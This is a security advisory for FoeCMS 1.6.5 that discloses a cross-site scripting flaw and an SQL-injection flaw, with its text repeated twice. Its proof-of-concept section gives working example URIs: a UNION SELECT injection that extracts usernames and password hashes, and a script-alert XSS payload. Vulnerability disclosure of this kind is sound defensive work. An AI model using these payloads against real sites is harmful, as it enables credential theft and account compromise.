FoeCMS Cross Site Scripting and SQL Injection Vulnerabilities
BID:59560
Info
FoeCMS Cross Site Scripting and SQL Injection Vulnerabilities
| Bugtraq ID: | 59560 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 29 2013 12:00AM |
| Updated: | Apr 29 2013 12:00AM |
| Credit: | flux77 |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
FoeCMS Cross Site Scripting and SQL Injection Vulnerabilities
FoeCMS is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.
Attackers can exploit these issues to execute arbitrary code in the context of the browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; other attacks are also possible.
FoeCMS 1.6.5 is vulnerable; other versions may also be affected.
FoeCMS is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.
Attackers can exploit these issues to execute arbitrary code in the context of the browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; other attacks are also possible.
FoeCMS 1.6.5 is vulnerable; other versions may also be affected.
Exploit / POC
FoeCMS Cross Site Scripting and SQL Injection Vulnerabilities
An attacker can use a browser to exploit these issues. To exploit the cross-site scripting issue an attacker must trick an unsuspecting victim into following a malicious URI to exploit these issues.
The following example URIs are available:
SQL-injection:
http://www.example.com/[path]/item.php?ei=-1 union select 1,username,pass_sha,1,1,1,1,1,1 from foe_account--
Cross-site scripting:
http://www.example.com/[path]/item.php?ei=<script>alert(1)</script>
An attacker can use a browser to exploit these issues. To exploit the cross-site scripting issue an attacker must trick an unsuspecting victim into following a malicious URI to exploit these issues.
The following example URIs are available:
SQL-injection:
http://www.example.com/[path]/item.php?ei=-1 union select 1,username,pass_sha,1,1,1,1,1,1 from foe_account--
Cross-site scripting:
http://www.example.com/[path]/item.php?ei=<script>alert(1)</script>